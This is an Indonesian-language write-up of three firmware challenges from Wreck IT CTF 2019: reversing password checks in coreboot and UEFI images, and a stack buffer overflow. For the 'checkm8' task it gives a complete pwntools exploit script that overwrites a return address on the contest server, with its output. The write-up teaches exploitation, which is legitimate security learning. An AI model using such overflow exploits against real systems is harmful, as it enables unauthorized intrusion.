Wreck IT CTF 2019 Writeup

#ctf-writeup#rev#pwn

1ot

Setelah galau dengan permasalahan UEFI-nya, kini Bambang beralih mempergunakan sistim perangkat kokoh lainnya yang dirasa lebih mudah. Namun naga-naganya, sistim perangkat kokoh tersebut terproteksi dengan password juga. Bantu Bambang menemukan jawaban. ;)

Sedikit recon pada file yang diberikan dengan membaca headernya dan analisa strings

$ head -c 32 ./1ot.bin | xxd
00000000: 5f5f 464d 4150 5f5f 0101 0000 c0ff 0000  __FMAP__........
00000010: 0000 0000 4000 464c 4153 4800 0000 0000  [email protected].....
$ strings ./1ot.bin
...
CBFS: Locating '%s'
CBFS: Found @ offset %zx size %zx
CBFS: '%s' not found.
coreboot-%s%s %s romstage starting (log level: %i)...
0123456789abcdef
0123456789ABCDEF
...

dengan google-fu, FMAP ini ternyata flashmap files, “flashmap, a firmware layout description format allowing to have multipleCBFSes”. dan ada string coreboot, OSS project untuk firmware bios. Untuk extract file bios ini, saya mengikuti langkah-langkah dari Hacking VMX Support Into Coreboot#Extracting The BIOS.

$ cbfstool 1ot.bin print
FMAP REGION: COREBOOT
Name                           Offset     Type           Size   Comp
cbfs master header             0x0        cbfs header        32 none
fallback/romstage              0x80       stage           11388 none
fallback/ramstage              0x2d80     stage           44959 none
config                         0xdd80     raw               485 none
revision                       0xdfc0     raw               674 none
cmos_layout.bin                0xe2c0     cmos_layout       548 none
fallback/postcar               0xe540     stage            9192 none
fallback/dsdt.aml              0x10980    raw              4021 none
fallback/payload               0x11980    simple elf      21566 none
(empty)                        0x16e00    null          4083608 none
bootblock                      0x3fbdc0   bootblock       16384 none
$ cbfstool coreboot.bin extract -f payload -n fallback/payload -m x86
Found file fallback/payload at 0x11980, type simple elf, compressed 21566, size 21566
$ file payload
payload: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

Buka file ELF tersebut pada IDA, pada tab strings-nya (Shift+F12) terdapat string password strings Cari xref-nya untuk string tersebut, strings berikut hasil dekompilasi dari sub_4002571

void __cdecl __noreturn sub_4002571(int a1) {
  maybe_printf_4003CF0("Password : ");
  qmemcpy(v8, flag_const_4007E20, 0x33u);
  input = (char *)maybe_alloc_4002F62(480);
  check = 0;
  for ( i = 0; i < 0x33 && input[i] == 13; ++i ) {
    input[i] = maybe_input_4003E63();
    xor = gen_key_4004AAF() % 256 ^ input[i];
    maybe_printf_4003CF0("%c", input[i]);
    if ( xor != flag_const_4007E20[i] || i > 21 )
      check = 1;
  }
  if ( check )
    msg = "\n\nNope..!";
  else
    msg = "\n\nBetul, 100! itu flagnya ;)";
  maybe_printf_4003CF0(msg);
  halt_40000A0();
}

Logika pengecekan password sudah jelas, input dicek dengan flag_const_...[] ^ gen_key(). Kalau begitu tinggal buat solvernya,

#include <stdio.h>

int seed = 1;
unsigned char flag[] = { // from flag_const_4007E20
    0xD4, 0xD4, 0xE0, 0x68, 0x60, 0xED, 0x46, 0x4B, 0x11, 0x92,
    0x4F, 0xC5, 0xF8, 0xC8, 0x7A, 0x3E, 0x66, 0xB8, 0xAB, 0xF9,
    0xEF, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xD4, 0xE0, 0x68, 0x60,
    0xED, 0x46, 0x4B, 0x11, 0x92, 0x4F, 0xC5, 0xF8, 0xC8, 0x7A,
    0x3E, 0x66, 0xB8, 0xAB, 0xF9, 0xEF, 0x00, 0x00, 0x00, 0x00,
    0x00
};

int gen_key(int *seed) {
  *seed = 0x41C64E6D * *seed + 0x3039;
  return *seed;
}

int main(int argc, char const *argv[]) {
  for (int i = 0; i < 20; ++i) printf("%c", flag[i] ^ (gen_key(&seed) % 256));
  return 0;
}

Flag: wreck{r3tURnFroMc0r3bO0ooT}

checkm8

Masih ingat dengan Bambang si tukang pencari password?Ternyata Bambang adalah agen telik sandi, Kali ini bambang ditugaskan untuk melakukan penetrasi terhadap jaringan DoD untuk menguak rahasia Area404. Melalui proses recon yang cukup panjang, akhirnya bambang berhasil mendapatkan perangkat lunak yg sama, yang digunakan pada sistim target. Bantu bambang, menemukan celah dan mengeksploitasi perangkat lunak tersebut. sasaran Bambang yang kami ketahui berada pada: checkm8.wreck-it.seclab.id:1337

Masih sama dengan 1ot, file ‘iBoot.rom’ ini adalah coreboot BIOS, bedanya kali ini harus melakukan binary exploitation pada firmware ini. Berikut hasil dekompilasi fungsi cek password,

int sub_53C262()
{
  int v0; // edi
  _BYTE *v1; // ebx
  int v2; // ST1C_4
  int v3; // edx
  char v5; // [esp+24h] [ebp-20h]

  maybe_printf_53FCD5("Password : ");
  v0 = maybe_alloc_53F166(256, 4);
  v1 = (_BYTE *)v0;
  do
  {
    v2 = gen_key_540A94();
    v3 = maybe_input_53FE48() ^ v2 % 256;
    *v1++ = v3;
  }
  while ( (_BYTE)v3 != 13 );
  strcpy_54002D((int)&v5, v0);
  if ( !strcmp_53FFA8(&v5, &dword_54452C) )
    maybe_printf_53FCD5("\nerr.. ;)\n");
  return 0;
}

terdapat bufferoverflow pada v0 karena input tidak dibatasi masksimal sebesar alokasi awal v0. Selanjutnya v0 ini di copy ke v5 dengan strcpy_54002D(v5, v0). Bug ini lah yang membuat eksploitasi ini menjadi trivial karena variabel di stack ini v5 hanya sebesar 0x20 sedangkan input v0 yang tidak terbatas. Eksploitasi bisa dilakukan adalah mengubah saved return address ke fungsi yang mencetak flag, sub_53C24E.

solver,

#!/usr/bin/env python
from pwn import *

HOST = 'checkm8.wreck-it.seclab.id'
PORT = 1337

def gen_key(n):
    p = 1
    k = [1]
    for i in range(n):
        k.append((0x41C64E6D * k[i] + 0x3039) % 256)
    return k[1:] # delete k[0]

def xor(k, s):
    f = ''
    for i in range(len(s)):
        f += chr(ord(s[i]) ^ k[i % len(k)])
    return f

def exploit(REMOTE):
    payload = p32(0x1DABC153) # password
    payload += 'A' * 0x20
    payload += p32(0x53C24E) # print_flag
    payload += p8(13)
    k = gen_key(len(payload))
    payload = xor(k, payload)
    r.sendafter(' : ', payload)

if __name__ == '__main__':
    REMOTE = len(sys.argv) > 1
    r = remote(HOST, PORT)
    exploit(REMOTE)
    r.interactive()
$ python2 solve.py
[+] Opening connection to checkm8.wreck-it.seclab.id on port 1337: Done
[*] Switching to interactive mode
wreck{m4Yb3_w3_Shl0ud_T4lk_brO}Invalid Opcode Exception
Error code: n/a
EIP:    0x07febfd9
CS:     0x0018
GS:     0x0018
Dumping stack:
0x58f260: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f240: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f220: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f200: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f1e0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f1c0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f1a0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f180: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f160: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f140: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f120: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f100: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f0e0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f0c0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f0a0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x58f080: 00000000 00000000 0053c24c 07febf78 00000000 00000000 00000000 00000000
0x58f060: 41414141 41414141 41414141 41414141 07febfd9 00000010 00000046 0053e7f4

Flag: wreck{m4Yb3_w3_Shl0ud_T4lk_brO}

Sedikit cerita, checkm8 ini adalah bootrom exploit yang baru saja keluar untuk apples SoC yang menggunakan UaF bug pada bagian usb. Saya sempat “tersasar” beberapa saat dalam mengerjakan ini untuk mencari tahu internal mm (memory management) untuk coreboot dahulu karena mungkin saja, checkm8 di soal ini juga memerlukan uaf. F.

Sehnsucht

Bambang merasa galau karena dia lupa password UEFI servernya yang berada di Antartika. Bantu bambang menyelesaikan permasalahan berat hidupnya ini. Terima Kasih.

Note: Saya solve soal ini setelah lomba berakhir

Dari hint dan deskripsi soal dapat diketahui file yang diberikan adalah firmware UEFI, mengingat beberapa bulan lalu ada soal yang sama juga mengenai UEFI di Google CTF Quals, saya menggunakan writeup Google CTF Quals - SecureBoot untuk kickstart awal reversing.

Buka file dengan uefitool dan extract body dari UiApp, uiapp

Lanjut ke analisa file hasil extract tadi (uiapp.dll), mencoba strings dengan beberapa encoding tidak memberikan hasil apa-apa saat mencari untuk string “Password”.

Sesuai dengan referensi writeup yang ditulis di atas untuk mempermudah reversing, fix type data (shortcut key: y) variable global yang diinisialisasi pada ModuleEntryPoint(EFI_HANDLE *ImageHandle, EFI_SYSTEM_TABLE *SystemTable). berikut hasilnya (Ini terletak pada bagian awal fungsi tersebut),

EFIHandle = (EFI_HANDLE *)ImageHandle;
v2 = SystemTable->RuntimeServices;
EFISystemTable = SystemTable;
v3 = SystemTable->BootServices;
EFIRuntimeServices = v2;
EFIBootServices = v3;

Selanjutnya saya mencari fungsi mana yang melakukan print string Password satu per satu, bagian ini ditemukan pada sub_240().

EFISystemTable->ConOut->ClearScreen(EFISystemTable->ConOut);
v124 = maybe_alloc_8926(800);
v118 = (__int16 *)maybe_alloc_8926(800);
v1 = (__int16 *)maybe_alloc_8926(800);
do
{
  v24 = v0 * 2;
  v118[v0] = word_1172C[v0] ^ 5;
  do
  {
    v25 = word_11744[v24];
    if ( v24 % 3 )
    {
      if ( v24 % 3 == 2 )
        LOBYTE(v25) = v25 ^ 0xC1;
      else
        LOBYTE(v25) = v25 ^ 0xAB;
    }
    else
    {
      v25 ^= 0x53u;
    }
    v1[v24] = v25;
    v1[v24] ^= 0x12u;
    ++v24;
  }
  while ( v24 != v0 * 2 + 2 );
  ++v0;
}
while ( v0 != 11 );
v26 = (int)&input_from_readkeystroke_v151;
maybe_printf_8CA8((const char *)L"%s", v118);
sub_8739();
v28 = v124;
do
{
  while ( ((int (__cdecl *)(EFI_SIMPLE_TEXT_INPUT_PROTOCOL *, int *, int, int))EFISystemTable->ConIn->ReadKeyStroke)(
            EFISystemTable->ConIn,
            &input_from_readkeystroke_v151,
            v27,
            v27) )
    ;
  v28 += 2;
  *(_WORD *)(v28 - 2) = HIWORD(input_from_readkeystroke_v151) ^ 0x12;
  ((void (__cdecl *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int16 *, int, int))EFISystemTable->ConOut->OutputString)(
    EFISystemTable->ConOut,
    &str_bintang,                             // "*"
    v29,
    v29);
}
while ( HIWORD(v151) != 13 );

Kalau diteliti lagi bagian ini sebenarnya melakukan,

1. clear screen
2. `printf("%s", v118)`, v118 ini bisa jadi string password
3. `ReadKeyStroke(..., &v151, ...` dan menyimpannya ke `v124 + off = v151`, `v124` ini bisa jadi input password
4. setelah input tadi, yang print hanya "*" (simbol bintang)

dan ini pas banget untuk apa yang dilakukan saat menjalakan filenya dengan qemu setelah memberi input exit pada UEFI shell.

Untuk membuktikan asumsi tadi, coba buat bagian tadi ke C,

#include <stdio.h>

char word_1172C[] = {85, 100, 118, 118, 114, 106, 119, 97, 37, 63, 37, 0};
char word_11744[] = {3,  235, 244, 102, 223, 174, 36, 217, 242, 48, 224, 240,
                     39, 235, 178, 96,  200, 173, 50, 201, 240, 23, 0};

int main(int argc, char const *argv[]) {
  char v1[100] = {0};
  char v118[100] = {0};

  int v0 = 0;
  do {
    int v24 = v0 * 2;
    v118[v0] = word_1172C[v0] ^ 5;
    do {
      char v25 = word_11744[v24];
      if (v24 % 3) {
        if (v24 % 3 == 2)
          v25 = v25 ^ 0xC1;
        else
          v25 = v25 ^ 0xAB;
      } else {
        v25 ^= 0x53u;
      }
      v1[v24] = v25;
      v1[v24++] ^= 0x12u;
    } while (v24 != v0 * 2 + 2);
    ++v0;
  } while (v0 != 11);

  printf("%s", v118);
  return 0;
}

compile lalau jalankan programnya,

$ gcc solve.c -o solve
$ ./solve
Password :

Yep, asumsi awal kita benar dengan begitu, v124 ini adalah input dari password. Cari xref nya untuk mendapatkan dimana input dicek,

v124 xref

basic block if ini sebenarnya sudah menandakan tanda bagus kalau v124 sedang dicek terhadap variabel lain, plus fungsi sub_902A ini sebenarnya strncmp, berikuta hasil dekompilasinya,

int __cdecl sub_902A(unsigned __int16 *a1, _WORD *a2, unsigned int a3)
{
  unsigned __int16 *v3; // edi
  _WORD *v4; // edx
  unsigned int i; // esi
  int v6; // eax

  v3 = a1;
  v4 = a2;
  for ( i = a3; ; --i )
  {
    v6 = *v3;
    if ( !(_WORD)v6 || *v4 == 0 || (_WORD)v6 != *v4 || i <= 1 )
      break;
    ++v3;
    ++v4;
  }
  return v6 - (unsigned __int16)*v4;
}

dengan begitu, sub_902A(v124, v1, 0x16u) adalah strncmp(v124, v1, 0x16u). Kalau lihat lagi ke hasil dekompilasi IDA atau pada solve.c, v1 ini diinisialisasi berbarengan dengan string password (v118) dan input dixor dengan 0x12 (*(_WORD *)(v28 - 2) = HIWORD(input_from_readkeystroke_v151) ^ 0x12;),

Jadi, sekarang hanya perlu mengubah solve.c tadi untuk print v1 tanpa dixor dengan 0x12 pada akhirnya. Berikut hasilnya,

#include <stdio.h>

short word_1172C[] = {85, 100, 118, 118, 114, 106, 119, 97, 37, 63, 37, 0};
char word_11744[] = {3,  235, 244, 102, 223, 174, 36, 217, 242, 48, 224, 240,
                     39, 235, 178, 96,  200, 173, 50, 201, 240, 23, 0};

int main(int argc, char const *argv[]) {
  char v1[100] = {0};
  char v118[100] = {0};

  int v0 = 0;
  do {
    int v24 = v0 * 2;
    v118[v0] = word_1172C[v0] ^ 5;
    do {
      char v25 = word_11744[v24];
      if (v24 % 3) {
        if (v24 % 3 == 2)
          v25 = v25 ^ 0xC1;
        else
          v25 = v25 ^ 0xAB;
      } else {
        v25 ^= 0x53u;
      }
      v1[v24++] = v25;
      // v1[v24++] ^= 0x12u;
    } while (v24 != v0 * 2 + 2);
    ++v0;
  } while (v0 != 11);

  printf("%s", v1);
  return 0;
}

solve

Flag: wreck{Ea5y_U3f1_t34s3_4_Qua15s}